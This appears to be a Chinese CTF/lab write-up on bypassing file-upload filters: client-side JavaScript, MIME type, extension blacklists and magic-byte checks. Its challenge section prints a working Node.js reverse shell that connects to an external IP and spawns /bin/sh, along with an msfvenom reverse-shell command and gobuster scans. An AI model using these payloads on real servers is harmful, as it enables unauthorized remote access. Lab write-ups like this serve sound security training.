【知识】过滤漏洞上传姿势-客户端过滤-服务器端过滤-靶机挑战

简介: 漏洞上传是常见的web漏洞,但是我们上传文件总是会被过滤,那么,我们怎么才能绕过过滤呢?本文将为您细细道来。

bilibili:https://www.bilibili.com/video/BV1pP411G7Zb/

General Methodology

 

 

BeqAZ3s

从这里查看文件目录与文件名,尝试使用相同文件名的文件上传,验证上传后的文件是否在这里。

 

 

Client-Side Filtering

法1:

TrI5jQD (1)

我们可以看到过滤器正在使用一个白名单来排除任何不是 image/jpeg 的 MIME 类型。

让我们启动 Burpkit 并重新加载页面。我们将看到我们自己对站点的请求,但我们真正想看到的是服务器的响应,所以右键单击截获的数据,向下滚动到“ Do Intercept”,然后选择“ Response to this request”

T0RjAry

当我们点击窗口顶部的“转发”按钮时,我们将看到服务器对我们的请求的响应。在这里,我们可以删除、注释掉 Javascript 函数,或者在它有机会加载之前中断它

默认情况下,Burpkit 不会拦截 Web 页面正在加载的任何外部 Javascript 文件。如果你需要编辑一个不在正在加载的主页面中的脚本,你需要到 BurpSuite 窗口顶部的“ Options”选项卡,然后在“ Intercept Client Request”部分,编辑第一行的条件,删除 ^ js $| :

法2:

让我们使用之前使用的反向 shell 并将其重命名为“ shell.jpg”。当 MIME 类型(基于文件扩展名)自动检查出来时,Client-Side 过滤器让我们的有效载荷通过

WNpruFM

我们的 PHP shell 的 MIME 类型当前是 image/jpeg。我们将其更改为 text/x-php,并将文件扩展名从。JPG 到。然后将请求转发到服务器

sqmwssT

Bypassing Server-Side Filtering

File Extensions

法1:

<?php
    //Get the extension
    $extension = pathinfo($_FILES["fileToUpload"]["name"])["extension"];
    //Check the extension against the blacklist -- .php and .phtml
    switch($extension){
        case "php":
        case "phtml":
        case NULL:
            $uploadFail = True;
            break;
        default:
            $uploadFail = False;
    }
?>

在此实例中,代码正在查找最后一个句点(.)在文件名中,并使用它来确认扩展名,所以这就是我们在这里要尝试绕过的。代码的其他工作方式包括: 搜索文件名中的第一个句点,或者在每个句点分割文件名,检查是否有任何被列入黑名单的扩展名出现。我们稍后将讨论后一种情况,但与此同时,让我们专注于我们在这里得到的代码。

我们可以看到代码正在过滤掉。Php 和。Phtml 扩展,所以如果我们想要上传一个 PHP 脚本,我们将不得不找到另一个扩展。PHP 的维基百科页面提供了一些常见的扩展,我们可以尝试使用; 然而,实际上还有很多其他很少使用的扩展,尽管如此,网络服务器仍然可以识别出来。这些措施包括:。Php3,.Php4,.Php5,.Php7,.Phps.Php-s.Pht 和。法尔。其中许多都绕过了过滤器(只有 locks.php 和。Phtml) ,但似乎服务器配置为不将它们识别为 PHP 文件

这实际上是 Apache2服务器的默认配置; 但是,sysadmin 可能已经更改了默认配置(或者服务器可能已经过期) ,因此非常值得尝试

法2:

ACCEPT FILE FROM THE USER -- SAVE FILENAME IN VARIABLE userInput
IF STRING ".jpg" IS IN VARIABLE userInput:
    SAVE THE FILE
ELSE:
    RETURN ERROR MESSAGE

我们看到代码使用 pathinfo () PHP 函数来获取[.]后面的值,并进行判断,以此我们可以将文件拓展名改为.jpg.php来绕过过滤。

Magic Numbers

我们知道 JPEG 文件是可以接受的,所以让我们尝试将 JPEG 魔术数字添加到 shell.php 文件的顶部。快速浏览一下 Wikipedia 上的文件签名列表,我们就会发现 JPEG 文件有几个神奇的数字。我们在这里使用哪个应该无关紧要,所以让我们只选择一个(FF D8 FF DB)。我们可以直接把这些数字的 ASCII 表示添加到文件的顶部,但是直接使用十六进制表示通常更容易,所以让我们来讨论一下这个方法。

我们可以看到我们选择的神奇数字是四个字节长,所以让我们打开反向 shell 脚本,在第一行添加四个随机字符。这些字符并不重要,所以在这个例子中我们只用了四个“ A”,我们用hexitor将开头的4个41改为FFDBFFDB即可

gobuster dir -u http://magic.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 

challenge time

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.10.135.242", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

 

gobuster dir -u http://jewel.uploadvulns.thm/content -w /root/UploadVulnsWordlist.txt -x jpg

msfvenom -p nodejs/shell_reverse_tcp LHOST=tun0 LPORT=4455 -o shell.js

 

目录
相关文章
|
6天前
|
缓存 监控 Java
Java Socket编程最佳实践:优化客户端-服务器通信性能
【6月更文挑战第21天】Java Socket编程优化涉及识别性能瓶颈,如网络延迟和CPU计算。使用非阻塞I/O(NIO)和多路复用技术提升并发处理能力,减少线程上下文切换。缓存利用可减少I/O操作,异步I/O(AIO)进一步提高效率。持续监控系统性能是关键。通过实践这些策略,开发者能构建高效稳定的通信系统。
|
6天前
|
Java 应用服务中间件 开发者
【实战指南】Java Socket编程:构建高效的客户端-服务器通信
【6月更文挑战第21天】Java Socket编程用于构建客户端-服务器通信。`Socket`和`ServerSocket`类分别处理两端的连接。实战案例展示了一个简单的聊天应用,服务器监听端口,接收客户端连接,并使用多线程处理每个客户端消息。客户端连接服务器,发送并接收消息。了解这些基础,加上错误处理和优化,能帮你开始构建高效网络应用。
|
6天前
|
IDE Java 开发工具
从零开始学Java Socket编程:客户端与服务器通信实战
【6月更文挑战第21天】Java Socket编程教程带你从零开始构建简单的客户端-服务器通信。安装JDK后,在命令行分别运行`SimpleServer`和`SimpleClient`。服务器监听端口,接收并回显客户端消息;客户端连接服务器,发送“Hello, Server!”并显示服务器响应。这是网络通信基础,为更复杂的网络应用打下基础。开始你的Socket编程之旅吧!
|
6天前
|
Java
Java Socket编程与多线程:提升客户端-服务器通信的并发性能
【6月更文挑战第21天】Java网络编程中,Socket结合多线程提升并发性能,服务器对每个客户端连接启动新线程处理,如示例所示,实现每个客户端的独立操作。多线程利用多核处理器能力,避免串行等待,提升响应速度。防止死锁需减少共享资源,统一锁定顺序,使用超时和重试策略。使用synchronized、ReentrantLock等维持数据一致性。多线程带来性能提升的同时,也伴随复杂性和挑战。
|
6天前
|
安全 Java 网络安全
Java Socket编程教程:构建安全可靠的客户端-服务器通信
【6月更文挑战第21天】构建安全的Java Socket通信涉及SSL/TLS加密、异常处理和重连策略。示例中,`SecureServer`使用SSLServerSocketFactory创建加密连接,而`ReliableClient`展示异常捕获与自动重连。理解安全意识,如防数据截获和中间人攻击,是首要步骤。通过良好的编程实践,确保网络应用在复杂环境中稳定且安全。
|
6天前
|
Java 数据安全/隐私保护
深入剖析:Java Socket编程原理及客户端-服务器通信机制
【6月更文挑战第21天】Java Socket编程用于构建网络通信,如在线聊天室。服务器通过`ServerSocket`监听,接收客户端`Socket`连接请求。客户端使用`Socket`连接服务器,双方通过`PrintWriter`和`BufferedReader`交换数据。案例展示了服务器如何处理每个新连接并广播消息,以及客户端如何发送和接收消息。此基础为理解更复杂的网络应用奠定了基础。
|
4天前
|
Java Android开发
Java Socket编程示例:服务器开启在8080端口监听,接收客户端连接并打印消息。
【6月更文挑战第23天】 Java Socket编程示例:服务器开启在8080端口监听,接收客户端连接并打印消息。客户端连接服务器,发送&quot;Hello, Server!&quot;后关闭。注意Android中需避免主线程进行网络操作。
27 4
|
6天前
|
网络协议 Java Linux
探索Java Socket编程:实现跨平台客户端-服务器通信的奥秘
【6月更文挑战第21天】Java Socket编程示例展示了如何构建跨平台聊天应用。服务器端使用`ServerSocket`监听客户端连接,每个连接启动新线程处理。客户端连接服务器,发送并接收消息。Java的跨平台能力确保代码在不同操作系统上无需修改即可运行,简化开发与维护。
|
1月前
|
移动开发 iOS开发 Perl
iOS客户端和h5页面的互相调用,服务器和客户端间通信方式
iOS客户端和h5页面的互相调用,服务器和客户端间通信方式
28 0
|
1月前
|
网络协议 Python
在python中利用TCP协议编写简单网络通信程序,要求服务器端和客户端进行信息互传。 - 蓝易云
在这个示例中,服务器端创建一个socket并监听本地的12345端口。当客户端连接后,服务器发送一条欢迎消息,然后关闭连接。客户端创建一个socket,连接到服务器,接收消息,然后关闭连接。
79 0